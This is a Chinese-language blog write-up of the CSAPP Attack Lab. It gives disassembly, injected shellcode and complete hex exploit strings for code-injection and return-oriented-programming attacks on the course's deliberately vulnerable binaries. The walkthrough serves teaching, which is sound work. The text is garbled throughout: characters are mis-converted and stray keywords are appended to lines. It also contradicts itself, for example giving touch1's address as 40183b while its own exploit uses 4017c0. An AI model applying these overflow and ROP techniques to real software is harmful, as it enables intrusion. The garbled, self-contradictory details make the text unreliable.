這是CSAPP的第四個實驗,這個實驗比較有意思,也比較難。經過這個實驗咱們能夠更加熟悉GDB的使用和機器代碼的棧和參數傳遞機制。面試
@編程
本實驗要求在兩個有着不一樣安全漏洞的程序上實現五種攻擊。經過完成本實驗達到:安全
深刻理解當程序沒有對緩衝區溢出作足夠防範時,攻擊者可能會如何利用這些安全漏洞。bash
深刻理解x86-64機器代碼的棧和參數傳遞機制。服務器
深刻理解x86-64指令的編碼方式。cookie
熟練使用gdb和objdump等調試工具。dom
更好地理解寫出安全的程序的重要性,瞭解到一些編譯器和操做系統提供的幫助改善程序安全性的特性。函數
作本次實驗以前,建議好好閱讀下本篇博文 面試官不講武德,竟然讓我講講蠕蟲和金絲雀!,理解緩衝區溢出時函數的返回值是如何被修改和精準定位的。工具
在官網下載獲得實驗所需文件解壓後會獲得五個不一樣的文件。對六個文件簡要說明以下所示。測試
README.txt:描述文件夾目錄
ctarget:一個容易遭受code injection攻擊的可執行程序。
rtarget:一個容易遭受return-oriented programming攻擊的可執行程序。
cookie.txt一個8位的十六進制碼,用於驗證身份的惟一標識符。
farm.c:目標「gadget farm」的源代碼,用於產生return-oriented programming攻擊。
hex2raw:一個生成攻擊字符串的工具。
HEX2RAW指望由一個或多個空格分隔的兩位十六進制值。因此若是你想建立一個十六進制值爲0的字節,須要將其寫爲00。要建立單詞0xdeadbeef應將「 ef be ad de」傳遞給HEX2RAW(請注意,小字節序須要反轉)。
編譯環境:Ubuntu 16.04,gcc 5.4.0。
注意:因爲咱們使用的是外網編譯,因此在運行程序時加上-q參數。
CTARGET和RTARGET從標準輸入中讀取字符串,使用的getbuf函數以下所示。
unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
函數Gets()相似於標準庫函數gets(),從標準輸入讀入一個字符串,將字符串(帶null結束符)存儲在指定的目的地址。兩者都只會簡單地拷貝字節序列,沒法肯定目標緩衝區是否足夠大以存儲下讀入的字符串,所以可能會超出目標地址處分配的存儲空間。字符串不能包含字節值0x0a,這是換行符 \n 的ASCII碼,Gets()遇到這個字節時會認爲意在結束該字符串。
若是用戶輸入並由getbuf讀取的字符串足夠短,則很明顯getbuf將返回1,如如下執行示例所示:
當輸入一個很長的字符串時,將會出現段錯誤,具體以下圖所示:
如上圖所示,出現了緩衝區溢出錯誤。咱們能夠利用緩衝區溢出來修改程序的返回值,使它指向咱們要求的地址來完成攻擊。
CTARGET和RTARGET都採用幾個不一樣的命令行參數:
-h:打印可能的命令行參數列表
-q:本地測評,不要將結果發送到評分服務器
-i FILE:提供來自文件的輸入,而不是來自標準輸入的輸入
對於第1個例程,將不會注入新代碼,而是緩衝區溢出漏洞利用字符串將重定向程序來執行現有程序。在CTARGET文件中中調用了函數getbuf。當getbuf執行完return語句後,程序一般會接着向下執行第5行的內容。
void test() { int val; val = getbuf(); printf("NO explit. Getbuf returned 0x%x\n", val); }
若是咱們想改變這種行爲。在文件ctarget中,咱們要把getbuf函數的返回值指向函數touch1,touch1代碼以下所示:
void touch1() { vlevel = 1; printf("Touch!: You called touch1()\n"); validate(1); exit(0); }
執行 objdump -d rtarget > rtarget.d 命令,將rtarget反彙編看下getbuf和touch1的反彙編代碼。
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp # 開闢40字節的空間 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 ac 03 00 00 callq 401b60 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq # 正常返回,跳轉到test函數的第5行繼續執行 4017be: 90 nop 4017bf: 90 nop
00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel> 4017cb: 00 00 00 4017ce: bf e5 31 40 00 mov $0x4031e5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 cb 05 00 00 callq 401dad <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由上述反彙編代碼能夠知道,咱們只要修改getbuf結尾處的ret指令,將其指向touch1函數的起始地址40183b就能夠。要想將其準確指向40183b,要首先將getbuf的40字節內容填充滿,使其溢出,再將40183b覆蓋getbuf原來的返回地址便可。(這裏不明白的能夠看下文章面試官不講武德,竟然讓我講講蠕蟲和金絲雀!)
攻擊字符串以下所示,命名爲attack1.txt。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
執行如下指令進行測試
./hex2raw < attack1.txt > attackraw1.txt ./ctarget -qi attackraw1.txt
第2階段涉及注入少許代碼做爲攻擊字符串的一部分。在文件ctarget中,touch2的代碼以下所示:
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
反彙編以下所示:
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx # val存在%rdi中 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 callq 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 callq 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
Level 2 和 Level 1 差異主要在Level 2 多了一個val參數,咱們在跳轉到Level 2 時,還要將其參數傳遞過去,讓他認爲是本身的cookie 0x59b997fa。
所以,咱們首先要將0x59b997fa賦值給%rdi,完成參數的傳遞。如何完成程序的跳轉呢?在第一次ret的時候,將ret地址寫爲咱們寫好的攻擊代碼,在攻擊代碼中,將touch2的地址0x4017ec 壓棧,彙編代碼再ret到touch2。咱們能完成這個攻擊的前提是這個具備漏洞的程序在運行時的棧地址是固定的,不會因運行屢次而改變,而且這個程序容許執行棧中的代碼。彙編代碼以下所示:
mov $0x59b997fa,%rdi pushq $0x4017ec #壓棧,ret時會將0x4017ec彈出執行 ret
使用以下指令將彙編代碼反彙編
gcc -c attack2.s objdump -d attack2.o > attack2.d
反彙編代碼以下所示:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
內存中存儲這段代碼的地方即是getbuf開闢的緩衝區,咱們利用gdb查看此時緩衝區的起始地址。
注意:緩衝區地址爲0x5561dca0(棧底),由於分配了一個0x28的棧,插入的代碼在字符串首,即棧頂(低地址),因此地址最終要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 //以上包含注入代碼填充滿整個緩衝區(40字節)以至溢出。 78 dc 61 55 00 00 00 00 //用緩衝區的起始地址覆蓋掉原先的返回地址(注意字節順序)。
最終測試結果正確
int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; /**/ sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
與以前的相似,在getbuf函數返回的時候,執行touch3而不是test。touch3函數傳入的是cookie的字符串表示。所以,咱們要將%rdi設置爲cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie> 401911: e8 36 ff ff ff callq 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 58 32 40 00 mov $0x403258,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 72 04 00 00 callq 401dad <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 80 32 40 00 mov $0x403280,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 11 05 00 00 callq 401e6f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
在touch3中調用了hexmatch函數,這個函數中又開闢了110個字節的空間。若是咱們把cookie放在棧中,執行hexmatch函數可能會把cookie的數據覆蓋掉。咱們能夠直接經過植入指令來修改%rsp
棧指針的值。
fa 18 40 00 00 00 00 00 #touch3的地址 bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90 30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret 35 39 62 39 39 37 66 61 #cookie 00 00 00 00 00 00 00 00 80 dc 61 55 #stack top的地址+8
對程序RTARGET進行代碼注入攻擊比對CTARGET進行難度要大得多,由於它使用兩種技術來阻止此類攻擊:
它使用棧隨機化,以使堆棧位置在一次運行與另外一次運行中不一樣。這使得不可能肯定注入代碼的位置。
它會將保存堆棧的內存部分標記爲不可執行,所以,即便能夠將程序計數器設置爲注入代碼的開頭,程序也會因分段錯誤而失敗。
幸運的是,聰明的人已經設計出了經過執行程序來在程序中完成有用的事情的策略。使用現有代碼,而不是注入新代碼。經常使用的是ROP策略, ROP的策略是識別現有程序中的字節序列,由一個或多個指令後跟指令ret組成。這種段稱爲gadget.。圖2說明了如何設置堆棧以執行n個gadget的序列。在此圖中,堆棧包含一系列gadget地址。每一個gadget都包含一系列指令字節,其中最後一個是0xc3,對ret指令進行編碼。當程序從該配置開始執行ret指令時,它將啓動一系列gadget執行,其中ret指令位於每一個gadget的末尾,從而致使程序跳至下一個開始。經過不斷的跳轉,拼湊出本身想要的結果來進行攻擊的方式。(簡單來講:就是利用現有程序的彙編代碼,從不一樣的函數中挑選出本身想要的代碼,經過不斷跳轉的方式將這些代碼拼接起來組成咱們須要的代碼。)
下面是實驗手冊給出的部分指令所對應的字節碼,咱們須要在rtarget文件中挑選這些指令去執行以前level2和level3的攻擊。
這個實驗與以前的Level 2 很類似,因此咱們要作的就是將cookie的值賦值給%rdi,執行touch2。可是本題使用的是ROP攻擊形式,不可能直接有movq $ 0x59b997fa
,%rdi這樣的代碼。Write up提示能夠用movq
, popq
等來完成這個任務。所以咱們能夠把 $0x59b997fa放在棧中,再popq %rdi,利用popq咱們能夠把數據從棧中轉移到寄存器中,而這個剛好是咱們所須要的。代碼有了,那咱們就去尋找gadget。
思路肯定了,接下來只須要根據Write up提供的encoding table來查找popq
對應encoding是否在程序中出現了。很容易找到popq %rdi對應的編碼5f在這裏出現,而且下一條就是ret:
402b18: 41 5f pop %r15 402b1a: c3 retq
因此答案就是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2b 40 00 00 00 00 00 #pop %rdi fa 97 b9 59 00 00 00 00 #cookie ec 17 40 00 00 00 00 00 #touch2
運行下結果以下所示
這個實驗是在以前Level3的基礎上又增長了一個難度,具體要求是要用ROP跳轉到touch3,而且傳入一個和cookie同樣的字符串。由於棧是隨機化的,那麼咱們如何在棧地址隨機化的狀況下去獲取咱們放在棧中的字符串的首地址呢?咱們只能經過操做%rsp的值來改變位置。在以前的Level 3 實驗中也提到過,touch3函數會調用hexmatch函數,在hexmatch中會開闢110個字節的空間,若是字符串放在touch3函數返回地址的上方,那麼cookie必定會被覆蓋。所以,咱們應該放在更高一點的位置,即便得hexmatch函數新開闢空間也夠不到cookie字符串。因此,字符串的地址必定是%rsp 加上一個數。
但是WriteUp裏給的encoding table都是mov pop nop 雙編碼等指令,並無加法,可是gadget farm中有一條自帶的指令,具體以下所示:
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi 4019da: c3 retq
咱們能夠經過這個函數來實現加法,由於lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。因此,只要可以讓%rdi和%rsi其中一個保存%rsp,另外一個保存從stack中pop出來的偏移值,就能夠表示cookie存放的地址,而後把這個地址mov到%rdi就大功告成了。
對應Write up裏面的encoding table會發現,從%rax並不能直接mov到%rsi,而只能經過%eax->%edx->%ecx->%esi來完成這個。因此,兵分兩路:
1.把%rsp存放到%rdi中
2.把偏移值(須要肯定指令數後才能肯定)存放到%rsi中
而後,再用lea那條指令把這兩個結果的和存放到%rax中,再movq到%rdi中就完成了。
值得注意的是,上面兩路完成任務的寄存器不能互換,由於從%eax到%esi這條路線上面的mov都是4個byte的操做,若是對%rsp的值採用這條路線,%rsp的值會被截斷掉,最後的結果就錯了。可是偏移值不會,由於4個bytes足夠表示了。
最後結果:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 #movq %rsp, %rax a2 19 40 00 00 00 00 00 #movq %rax, %rdi ab 19 40 00 00 00 00 00 #popq %rax 48 00 00 00 00 00 00 00 #偏移值 dd 19 40 00 00 00 00 00 #mov %eax, %edx 34 1a 40 00 00 00 00 00 #mov %edx, %ecx 13 1a 40 00 00 00 00 00 #mov %ecx, %esi d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax a2 19 40 00 00 00 00 00 #movq %rax, %rdi fa 18 40 00 00 00 00 00 #touch3 35 39 62 39 39 37 66 61 #cookie
參考https://zhuanlan.zhihu.com/p/36807783
測試結果以下:
這幾個實驗挺有意思的,體驗了一把黑客的感受。最後一個實驗仍是有難度的,本身也參考網上其餘人的解法。經過本次實驗也增強了本身對函數調用棧,字節序,GDB,彙編的理解。X86有些指令用多了也就記住了,不須要刻意去記,熟能生巧!
養成習慣,先贊後看!若是以爲寫的不錯,歡迎關注,點贊,轉發,謝謝!
有任何問題,都可經過公告中的二維碼聯繫我